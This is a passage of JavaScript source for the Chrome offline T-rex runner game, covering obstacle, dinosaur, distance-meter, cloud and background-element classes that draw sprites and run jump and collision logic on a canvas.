    if (this.size > 1 && this.typeConfig.multipleSpeed > speed) {
      this.size = 1;
    }

    this.width = this.typeConfig.width * this.size;

    // Check if obstacle can be positioned at various heights.
    if (Array.isArray(this.typeConfig.yPos)) {
      const yPosConfig =
          IS_MOBILE ? this.typeConfig.yPosMobile : this.typeConfig.yPos;
      this.yPos = yPosConfig[getRandomNum(0, yPosConfig.length - 1)];
    } else {
      this.yPos = this.typeConfig.yPos;
    }

    this.draw();

    // Make collision box adjustments,
    // Central box is adjusted to the size as one box.
    //      ____        ______        ________
    //    _|   |-|    _|     |-|    _|       |-|
    //   | |<->| |   | |<--->| |   | |<----->| |
    //   | | 1 | |   | |  2  | |   | |   3   | |
    //   |_|___|_|   |_|_____|_|   |_|_______|_|
    //
    if (this.size > 1) {
      this.collisionBoxes[1].width = this.width - this.collisionBoxes[0].width -
          this.collisionBoxes[2].width;
      this.collisionBoxes[2].x = this.width - this.collisionBoxes[2].width;
    }

    // For obstacles that go at a different speed from the horizon.
    if (this.typeConfig.speedOffset) {
      this.speedOffset = Math.random() > 0.5 ? this.typeConfig.speedOffset :
                                               -this.typeConfig.speedOffset;
    }

    this.gap = this.getGap(this.gapCoefficient, speed);

    // Increase gap for audio cues enabled.
    if (Runner.audioCues) {
      this.gap *= 2;
    }
  },

  /**
   * Draw and crop based on size.
   */
  draw() {
    let sourceWidth = this.typeConfig.width;
    let sourceHeight = this.typeConfig.height;

    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    // X position in sprite.
    let sourceX =
        (sourceWidth * this.size) * (0.5 * (this.size - 1)) + this.spritePos.x;

    // Animation frames.
    if (this.currentFrame > 0) {
      sourceX += sourceWidth * this.currentFrame;
    }

    this.canvasCtx.drawImage(
        this.imageSprite, sourceX, this.spritePos.y, sourceWidth * this.size,
        sourceHeight, this.xPos, this.yPos, this.typeConfig.width * this.size,
        this.typeConfig.height);
  },

  /**
   * Obstacle frame update.
   * @param {number} deltaTime
   * @param {number} speed
   */
  update(deltaTime, speed) {
    if (!this.remove) {
      if (this.typeConfig.speedOffset) {
        speed += this.speedOffset;
      }
      this.xPos -= Math.floor((speed * FPS / 1000) * deltaTime);

      // Update frame
      if (this.typeConfig.numFrames) {
        this.timer += deltaTime;
        if (this.timer >= this.typeConfig.frameRate) {
          this.currentFrame =
              this.currentFrame === this.typeConfig.numFrames - 1 ?
              0 :
              this.currentFrame + 1;
          this.timer = 0;
        }
      }
      this.draw();

      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Calculate a random gap size.
   * - Minimum gap gets wider as speed increses
   * @param {number} gapCoefficient
   * @param {number} speed
   * @return {number} The gap size.
   */
  getGap(gapCoefficient, speed) {
    const minGap = Math.round(
        this.width * speed + this.typeConfig.minGap * gapCoefficient);
    const maxGap = Math.round(minGap * Obstacle.MAX_GAP_COEFFICIENT);
    return getRandomNum(minGap, maxGap);
  },

  /**
   * Check if obstacle is visible.
   * @return {boolean} Whether the obstacle is in the game area.
   */
  isVisible() {
    return this.xPos + this.width > 0;
  },

  /**
   * Make a copy of the collision boxes, since these will change based on
   * obstacle type and size.
   */
  cloneCollisionBoxes() {
    const collisionBoxes = this.typeConfig.collisionBoxes;

    for (let i = collisionBoxes.length - 1; i >= 0; i--) {
      this.collisionBoxes[i] = new CollisionBox(
          collisionBoxes[i].x, collisionBoxes[i].y, collisionBoxes[i].width,
          collisionBoxes[i].height);
    }
  },
};


//******************************************************************************
/**
 * T-rex game character.
 * @param {HTMLCanvasElement} canvas
 * @param {Object} spritePos Positioning within image sprite.
 * @constructor
 */
function Trex(canvas, spritePos) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.xPos = 0;
  this.yPos = 0;
  this.xInitialPos = 0;
  // Position when on the ground.
  this.groundYPos = 0;
  this.currentFrame = 0;
  this.currentAnimFrames = [];
  this.blinkDelay = 0;
  this.blinkCount = 0;
  this.animStartTime = 0;
  this.timer = 0;
  this.msPerFrame = 1000 / FPS;
  this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
  // Current status.
  this.status = Trex.status.WAITING;
  this.jumping = false;
  this.ducking = false;
  this.jumpVelocity = 0;
  this.reachedMinHeight = false;
  this.speedDrop = false;
  this.jumpCount = 0;
  this.jumpspotX = 0;
  this.altGameModeEnabled = false;
  this.flashing = false;

  this.init();
}


/**
 * T-rex player config.
 */
Trex.config = {
  DROP_VELOCITY: -5,
  FLASH_OFF: 175,
  FLASH_ON: 100,
  HEIGHT: 47,
  HEIGHT_DUCK: 25,
  INTRO_DURATION: 1500,
  SPEED_DROP_COEFFICIENT: 3,
  SPRITE_WIDTH: 262,
  START_X_POS: 50,
  WIDTH: 44,
  WIDTH_DUCK: 59,
};

Trex.slowJumpConfig = {
  GRAVITY: 0.25,
  MAX_JUMP_HEIGHT: 50,
  MIN_JUMP_HEIGHT: 45,
  INITIAL_JUMP_VELOCITY: -20,
};

Trex.normalJumpConfig = {
  GRAVITY: 0.6,
  MAX_JUMP_HEIGHT: 30,
  MIN_JUMP_HEIGHT: 30,
  INITIAL_JUMP_VELOCITY: -10,
};

/**
 * Used in collision detection.
 * @enum {Array<CollisionBox>}
 */
Trex.collisionBoxes = {
  DUCKING: [new CollisionBox(1, 18, 55, 25)],
  RUNNING: [
    new CollisionBox(22, 0, 17, 16),
    new CollisionBox(1, 18, 30, 9),
    new CollisionBox(10, 35, 14, 8),
    new CollisionBox(1, 24, 29, 5),
    new CollisionBox(5, 30, 21, 4),
    new CollisionBox(9, 34, 15, 4),
  ],
};


/**
 * Animation states.
 * @enum {string}
 */
Trex.status = {
  CRASHED: 'CRASHED',
  DUCKING: 'DUCKING',
  JUMPING: 'JUMPING',
  RUNNING: 'RUNNING',
  WAITING: 'WAITING',
};

/**
 * Blinking coefficient.
 * @const
 */
Trex.BLINK_TIMING = 7000;


/**
 * Animation config for different states.
 * @enum {Object}
 */
Trex.animFrames = {
  WAITING: {
    frames: [44, 0],
    msPerFrame: 1000 / 3,
  },
  RUNNING: {
    frames: [88, 132],
    msPerFrame: 1000 / 12,
  },
  CRASHED: {
    frames: [220],
    msPerFrame: 1000 / 60,
  },
  JUMPING: {
    frames: [0],
    msPerFrame: 1000 / 60,
  },
  DUCKING: {
    frames: [264, 323],
    msPerFrame: 1000 / 8,
  },
};


Trex.prototype = {
  /**
   * T-rex player initaliser.
   * Sets the t-rex to blink at random intervals.
   */
  init() {
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.config.BOTTOM_PAD;
    this.yPos = this.groundYPos;
    this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;

    this.draw(0, 0);
    this.update(0, Trex.status.WAITING);
  },

  /**
   * Assign the appropriate jump parameters based on the game speed.
   */
  enableSlowConfig: function() {
    const jumpConfig =
        Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
    Trex.config = Object.assign(Trex.config, jumpConfig);

    this.adjustAltGameConfigForSlowSpeed();
  },

  /**
   * Enables the alternative game. Redefines the dino config.
   * @param {Object} spritePos New positioning within image sprite.
   */
  enableAltGameMode: function(spritePos) {
    this.altGameModeEnabled = true;
    this.spritePos = spritePos;
    const spriteDefinition = Runner.spriteDefinition['TREX'];

    // Update animation frames.
    Trex.animFrames.RUNNING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
    Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];

    if (typeof spriteDefinition.JUMPING.x == 'object') {
      Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
    } else {
      Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
    }

    Trex.animFrames.DUCKING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];

    // Update Trex config
    Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
    Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
    Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
    Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
    Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
    Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
    Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
    Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;

    this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
    this.config = Trex.config;

    // Adjust bottom horizon placement.
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.spriteDefinition['BOTTOM_PAD'];
    this.yPos = this.groundYPos;
    this.reset();
  },

  /**
   * Slow speeds adjustments for the alt game modes.
   * @param {number=} opt_gravityValue
   */
  adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
    if (Runner.slowDown) {
      if (opt_gravityValue) {
        Trex.config.GRAVITY = opt_gravityValue / 1.5;
      }
      Trex.config.MIN_JUMP_HEIGHT *= 1.5;
      Trex.config.MAX_JUMP_HEIGHT *= 1.5;
      Trex.config.INITIAL_JUMP_VELOCITY =
          Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
    }
  },

  /**
   * Setter whether dino is flashing.
   * @param {boolean} status
   */
  setFlashing: function(status) {
    this.flashing = status;
  },

  /**
   * Setter for the jump velocity.
   * The approriate drop velocity is also set.
   * @param {number} setting
   */
  setJumpVelocity(setting) {
    this.config.INITIAL_JUMP_VELOCITY = -setting;
    this.config.DROP_VELOCITY = -setting / 2;
  },

  /**
   * Set the animation status.
   * @param {!number} deltaTime
   * @param {Trex.status=} opt_status Optional status to switch to.
   */
  update(deltaTime, opt_status) {
    this.timer += deltaTime;

    // Update the status.
    if (opt_status) {
      this.status = opt_status;
      this.currentFrame = 0;
      this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
      this.currentAnimFrames = Trex.animFrames[opt_status].frames;

      if (opt_status === Trex.status.WAITING) {
        this.animStartTime = getTimeStamp();
        this.setBlinkDelay();
      }
    }
    // Game intro animation, T-rex moves in from the left.
    if (this.playingIntro && this.xPos < this.config.START_X_POS) {
      this.xPos += Math.round((this.config.START_X_POS /
          this.config.INTRO_DURATION) * deltaTime);
      this.xInitialPos = this.xPos;
    }

    if (this.status === Trex.status.WAITING) {
      this.blink(getTimeStamp());
    } else {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);
    }

    // Update the frame position.
    if (!this.flashing && this.timer >= this.msPerFrame) {
      this.currentFrame = this.currentFrame ==
          this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
      this.timer = 0;
    }

    if (!this.altGameModeEnabled) {
      // Speed drop becomes duck if the down key is still being pressed.
      if (this.speedDrop && this.yPos === this.groundYPos) {
        this.speedDrop = false;
        this.setDuck(true);
      }
    }
  },

  /**
   * Draw the t-rex to a particular position.
   * @param {number} x
   * @param {number} y
   */
  draw(x, y) {
    let sourceX = x;
    let sourceY = y;
    let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
        this.config.WIDTH_DUCK :
        this.config.WIDTH;
    let sourceHeight = this.config.HEIGHT;
    const outputHeight = sourceHeight;

    let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;

    // Width of sprite changes on jump.
    if (this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      sourceWidth = this.config.WIDTH_JUMP;
    }

    if (IS_HIDPI) {
      sourceX *= 2;
      sourceY *= 2;
      sourceWidth *= 2;
      sourceHeight *= 2;
      jumpOffset *= 2;
    }

    // Adjustments for sprite sheet position.
    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    // Flashing.
    if (this.flashing) {
      if (this.timer < this.config.FLASH_ON) {
        this.canvasCtx.globalAlpha = 0.5;
      } else if (this.timer > this.config.FLASH_OFF) {
        this.timer = 0;
      }
    }

    // Ducking.
    if (!this.altGameModeEnabled && this.ducking &&
        this.status !== Trex.status.CRASHED) {
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH_DUCK, outputHeight);
    } else if (
        this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      // Jumping with adjustments.
      this.canvasCtx.drawImage(
          Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
          this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
          outputHeight);
    } else {
      // Crashed whilst ducking. Trex is standing up so needs adjustment.
      if (this.ducking && this.status === Trex.status.CRASHED) {
        this.xPos++;
      }
      // Standing / running
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH, outputHeight);
    }
    this.canvasCtx.globalAlpha = 1;
  },

  /**
   * Sets a random time for the blink to happen.
   */
  setBlinkDelay() {
    this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
  },

  /**
   * Make t-rex blink at random intervals.
   * @param {number} time Current time in milliseconds.
   */
  blink(time) {
    const deltaTime = time - this.animStartTime;

    if (deltaTime >= this.blinkDelay) {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);

      if (this.currentFrame === 1) {
        // Set new random delay to blink.
        this.setBlinkDelay();
        this.animStartTime = time;
        this.blinkCount++;
      }
    }
  },

  /**
   * Initialise a jump.
   * @param {number} speed
   */
  startJump(speed) {
    if (!this.jumping) {
      this.update(0, Trex.status.JUMPING);
      // Tweak the jump velocity based on the speed.
      this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
      this.jumping = true;
      this.reachedMinHeight = false;
      this.speedDrop = false;

      if (this.config.INVERT_JUMP) {
        this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
      }
    }
  },

  /**
   * Jump is complete, falling down.
   */
  endJump() {
    if (this.reachedMinHeight &&
        this.jumpVelocity < this.config.DROP_VELOCITY) {
      this.jumpVelocity = this.config.DROP_VELOCITY;
    }
  },

  /**
   * Update frame for a jump.
   * @param {number} deltaTime
   */
  updateJump(deltaTime) {
    const msPerFrame = Trex.animFrames[this.status].msPerFrame;
    const framesElapsed = deltaTime / msPerFrame;

    // Speed drop makes Trex fall faster.
    if (this.speedDrop) {
      this.yPos += Math.round(this.jumpVelocity *
          this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
    } else if (this.config.INVERT_JUMP) {
      this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
    } else {
      this.yPos += Math.round(this.jumpVelocity * framesElapsed);
    }

    this.jumpVelocity += this.config.GRAVITY * framesElapsed;

    // Minimum height has been reached.
    if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
        !this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
        this.speedDrop) {
      this.reachedMinHeight = true;
    }

    // Reached max height.
    if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
        !this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
        this.speedDrop) {
      this.endJump();
    }

    // Back down at ground level. Jump completed.
    if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
        (!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
      this.reset();
      this.jumpCount++;

      if (Runner.audioCues) {
        Runner.generatedSoundFx.loopFootSteps();
      }
    }
  },

  /**
   * Set the speed drop. Immediately cancels the current jump.
   */
  setSpeedDrop() {
    this.speedDrop = true;
    this.jumpVelocity = 1;
  },

  /**
   * @param {boolean} isDucking
   */
  setDuck(isDucking) {
    if (isDucking && this.status !== Trex.status.DUCKING) {
      this.update(0, Trex.status.DUCKING);
      this.ducking = true;
    } else if (this.status === Trex.status.DUCKING) {
      this.update(0, Trex.status.RUNNING);
      this.ducking = false;
    }
  },

  /**
   * Reset the t-rex to running at start of game.
   */
  reset() {
    this.xPos = this.xInitialPos;
    this.yPos = this.groundYPos;
    this.jumpVelocity = 0;
    this.jumping = false;
    this.ducking = false;
    this.update(0, Trex.status.RUNNING);
    this.midair = false;
    this.speedDrop = false;
    this.jumpCount = 0;
  },
};


//******************************************************************************

/**
 * Handles displaying the distance meter.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} spritePos Image position in sprite.
 * @param {number} canvasWidth
 * @constructor
 */
function DistanceMeter(canvas, spritePos, canvasWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.image = Runner.imageSprite;
  this.spritePos = spritePos;
  this.x = 0;
  this.y = 5;

  this.currentDistance = 0;
  this.maxScore = 0;
  this.highScore = '0';
  this.container = null;

  this.digits = [];
  this.achievement = false;
  this.defaultString = '';
  this.flashTimer = 0;
  this.flashIterations = 0;
  this.invertTrigger = false;
  this.flashingRafId = null;
  this.highScoreBounds = {};
  this.highScoreFlashing = false;

  this.config = DistanceMeter.config;
  this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
  this.canvasWidth = canvasWidth;
  this.init(canvasWidth);
}


/**
 * @enum {number}
 */
DistanceMeter.dimensions = {
  WIDTH: 10,
  HEIGHT: 13,
  DEST_WIDTH: 11,
};


/**
 * Y positioning of the digits in the sprite sheet.
 * X position is always 0.
 * @type {Array<number>}
 */
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];


/**
 * Distance meter config.
 * @enum {number}
 */
DistanceMeter.config = {
  // Number of digits.
  MAX_DISTANCE_UNITS: 5,

  // Distance that causes achievement animation.
  ACHIEVEMENT_DISTANCE: 100,

  // Used for conversion from pixel distance to a scaled unit.
  COEFFICIENT: 0.025,

  // Flash duration in milliseconds.
  FLASH_DURATION: 1000 / 4,

  // Flash iterations for achievement animation.
  FLASH_ITERATIONS: 3,

  // Padding around the high score hit area.
  HIGH_SCORE_HIT_AREA_PADDING: 4,
};


DistanceMeter.prototype = {
  /**
   * Initialise the distance meter to '00000'.
   * @param {number} width Canvas width in px.
   */
  init(width) {
    let maxDistanceStr = '';

    this.calcXPos(width);
    this.maxScore = this.maxScoreUnits;
    for (let i = 0; i < this.maxScoreUnits; i++) {
      this.draw(i, 0);
      this.defaultString += '0';
      maxDistanceStr += '9';
    }

    this.maxScore = parseInt(maxDistanceStr, 10);
  },

  /**
   * Calculate the xPos in the canvas.
   * @param {number} canvasWidth
   */
  calcXPos(canvasWidth) {
    this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
        (this.maxScoreUnits + 1));
  },

  /**
   * Draw a digit to canvas.
   * @param {number} digitPos Position of the digit.
   * @param {number} value Digit value 0-9.
   * @param {boolean=} opt_highScore Whether drawing the high score.
   */
  draw(digitPos, value, opt_highScore) {
    let sourceWidth = DistanceMeter.dimensions.WIDTH;
    let sourceHeight = DistanceMeter.dimensions.HEIGHT;
    let sourceX = DistanceMeter.dimensions.WIDTH * value;
    let sourceY = 0;

    const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
    const targetY = this.y;
    const targetWidth = DistanceMeter.dimensions.WIDTH;
    const targetHeight = DistanceMeter.dimensions.HEIGHT;

    // For high DPI we 2x source values.
    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    this.canvasCtx.save();

    if (IS_RTL) {
      if (opt_highScore) {
        this.canvasCtx.translate(
            this.canvasWidth -
                (DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
            this.y);
      } else {
        this.canvasCtx.translate(
            this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
      }
      this.canvasCtx.scale(-1, 1);
    } else {
      const highScoreX =
          this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
      if (opt_highScore) {
        this.canvasCtx.translate(highScoreX, this.y);
      } else {
        this.canvasCtx.translate(this.x, this.y);
      }
    }

    this.canvasCtx.drawImage(
        this.image,
        sourceX,
        sourceY,
        sourceWidth,
        sourceHeight,
        targetX,
        targetY,
        targetWidth,
        targetHeight,
    );

    this.canvasCtx.restore();
  },

  /**
   * Covert pixel distance to a 'real' distance.
   * @param {number} distance Pixel distance ran.
   * @return {number} The 'real' distance ran.
   */
  getActualDistance(distance) {
    return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
  },

  /**
   * Update the distance meter.
   * @param {number} distance
   * @param {number} deltaTime
   * @return {boolean} Whether the acheivement sound fx should be played.
   */
  update(deltaTime, distance) {
    let paint = true;
    let playSound = false;

    if (!this.achievement) {
      distance = this.getActualDistance(distance);
      // Score has gone beyond the initial digit count.
      if (distance > this.maxScore && this.maxScoreUnits ==
        this.config.MAX_DISTANCE_UNITS) {
        this.maxScoreUnits++;
        this.maxScore = parseInt(this.maxScore + '9', 10);
      } else {
        this.distance = 0;
      }

      if (distance > 0) {
        // Achievement unlocked.
        if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
          // Flash score and play sound.
          this.achievement = true;
          this.flashTimer = 0;
          playSound = true;
        }

        // Create a string representation of the distance with leading 0.
        const distanceStr = (this.defaultString +
            distance).substr(-this.maxScoreUnits);
        this.digits = distanceStr.split('');
      } else {
        this.digits = this.defaultString.split('');
      }
    } else {
      // Control flashing of the score on reaching acheivement.
      if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
        this.flashTimer += deltaTime;

        if (this.flashTimer < this.config.FLASH_DURATION) {
          paint = false;
        } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
          this.flashTimer = 0;
          this.flashIterations++;
        }
      } else {
        this.achievement = false;
        this.flashIterations = 0;
        this.flashTimer = 0;
      }
    }

    // Draw the digits if not flashing.
    if (paint) {
      for (let i = this.digits.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.digits[i], 10));
      }
    }

    this.drawHighScore();
    return playSound;
  },

  /**
   * Draw the high score.
   */
  drawHighScore() {
    if (parseInt(this.highScore, 10) > 0) {
      this.canvasCtx.save();
      this.canvasCtx.globalAlpha = .8;
      for (let i = this.highScore.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.highScore[i], 10), true);
      }
      this.canvasCtx.restore();
    }
  },

  /**
   * Set the highscore as a array string.
   * Position of char in the sprite: H - 10, I - 11.
   * @param {number} distance Distance ran in pixels.
   */
  setHighScore(distance) {
    distance = this.getActualDistance(distance);
    const highScoreStr = (this.defaultString +
        distance).substr(-this.maxScoreUnits);

    this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
  },


  /**
   * Whether a clicked is in the high score area.
   * @param {Event} e Event object.
   * @return {boolean} Whether the click was in the high score bounds.
   */
  hasClickedOnHighScore(e) {
    let x = 0;
    let y = 0;

    if (e.touches) {
      // Bounds for touch differ from pointer.
      const canvasBounds = this.canvas.getBoundingClientRect();
      x = e.touches[0].clientX - canvasBounds.left;
      y = e.touches[0].clientY - canvasBounds.top;
    } else {
      x = e.offsetX;
      y = e.offsetY;
    }

    this.highScoreBounds = this.getHighScoreBounds();
    return x >= this.highScoreBounds.x && x <=
        this.highScoreBounds.x + this.highScoreBounds.width &&
        y >= this.highScoreBounds.y && y <=
        this.highScoreBounds.y + this.highScoreBounds.height;
  },

  /**
   * Get the bounding box for the high score.
   * @return {Object} Object with x, y, width and height properties.
   */
  getHighScoreBounds() {
    return {
      x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      y: this.y,
      width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      height: DistanceMeter.dimensions.HEIGHT +
          (DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
    };
  },

  /**
   * Animate flashing the high score to indicate ready for resetting.
   * The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
   */
  flashHighScore() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);
    let paint = true;
    this.frameTimeStamp = now;

    // Reached the max number of flashes.
    if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
      this.cancelHighScoreFlashing();
      return;
    }

    this.flashTimer += deltaTime;

    if (this.flashTimer < this.config.FLASH_DURATION) {
      paint = false;
    } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
      this.flashTimer = 0;
      this.flashIterations++;
    }

    if (paint) {
      this.drawHighScore();
    } else {
      this.clearHighScoreBounds();
    }
    // Frame update.
    this.flashingRafId =
        requestAnimationFrame(this.flashHighScore.bind(this));
  },

  /**
   * Draw empty rectangle over high score.
   */
  clearHighScoreBounds() {
    this.canvasCtx.save();
    this.canvasCtx.fillStyle = '#fff';
    this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
        this.highScoreBounds.width, this.highScoreBounds.height);
    this.canvasCtx.fill();
    this.canvasCtx.restore();
  },

  /**
   * Starts the flashing of the high score.
   */
  startHighScoreFlashing() {
    this.highScoreFlashing = true;
    this.flashHighScore();
  },

  /**
   * Whether high score is flashing.
   * @return {boolean}
   */
  isHighScoreFlashing() {
    return this.highScoreFlashing;
  },

  /**
   * Stop flashing the high score.
   */
  cancelHighScoreFlashing() {
    if (this.flashingRafId) {
      cancelAnimationFrame(this.flashingRafId);
    }
    this.flashIterations = 0;
    this.flashTimer = 0;
    this.highScoreFlashing = false;
    this.clearHighScoreBounds();
    this.drawHighScore();
  },

  /**
   * Clear the high score.
   */
  resetHighScore() {
    this.setHighScore(0);
    this.cancelHighScoreFlashing();
  },

  /**
   * Reset the distance meter back to '00000'.
   */
  reset() {
    this.update(0, 0);
    this.achievement = false;
  },
};


//******************************************************************************

/**
 * Cloud background item.
 * Similar to an obstacle object but without collision boxes.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @constructor
 */
function Cloud(canvas, spritePos, containerWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.gap =
      getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);

  this.init();
}


/**
 * Cloud object config.
 * @enum {number}
 */
Cloud.config = {
  HEIGHT: 14,
  MAX_CLOUD_GAP: 400,
  MAX_SKY_LEVEL: 30,
  MIN_CLOUD_GAP: 100,
  MIN_SKY_LEVEL: 71,
  WIDTH: 46,
};


Cloud.prototype = {
  /**
   * Initialise the cloud. Sets the Cloud height.
   */
  init() {
    this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
        Cloud.config.MIN_SKY_LEVEL);
    this.draw();
  },

  /**
   * Draw the cloud.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = Cloud.config.WIDTH;
    let sourceHeight = Cloud.config.HEIGHT;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;
    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
        this.spritePos.y,
        sourceWidth, sourceHeight,
        this.xPos, this.yPos,
        outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the cloud position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      this.xPos -= Math.ceil(speed);
      this.draw();

      // Mark as removeable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the cloud is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + Cloud.config.WIDTH > 0;
  },
};


/**
 * Background item.
 * Similar to cloud, without random y position.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @param {string} type Element type.
 * @constructor
 */
function BackgroundEl(canvas, spritePos, containerWidth, type) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.type = type;
  this.gap =
      getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
  this.animTimer = 0;
  this.switchFrames = false;

  this.spriteConfig = {};
  this.init();
}

/**
 * Background element object config.
 * Real values assigned when game type changes.
 * @enum {number}
 */
BackgroundEl.config = {
  MAX_BG_ELS: 0,
  MAX_GAP: 0,
  MIN_GAP: 0,
  POS: 0,
  SPEED: 0,
  Y_POS: 0,
  MS_PER_FRAME: 0,  // only needed when BACKGROUND_EL.FIXED is true
};


BackgroundEl.prototype = {
  /**
   * Initialise the element setting the y position.
   */
  init() {
    this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
    if (this.spriteConfig.FIXED) {
      this.xPos = this.spriteConfig.FIXED_X_POS;
    }
    this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
        this.spriteConfig.OFFSET;
    this.draw();
  },

  /**
   * Draw the element.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = this.spriteConfig.WIDTH;
    let sourceHeight = this.spriteConfig.HEIGHT;
    let sourceX = this.spriteConfig.X_POS;
    const outputWidth = sourceWidth;
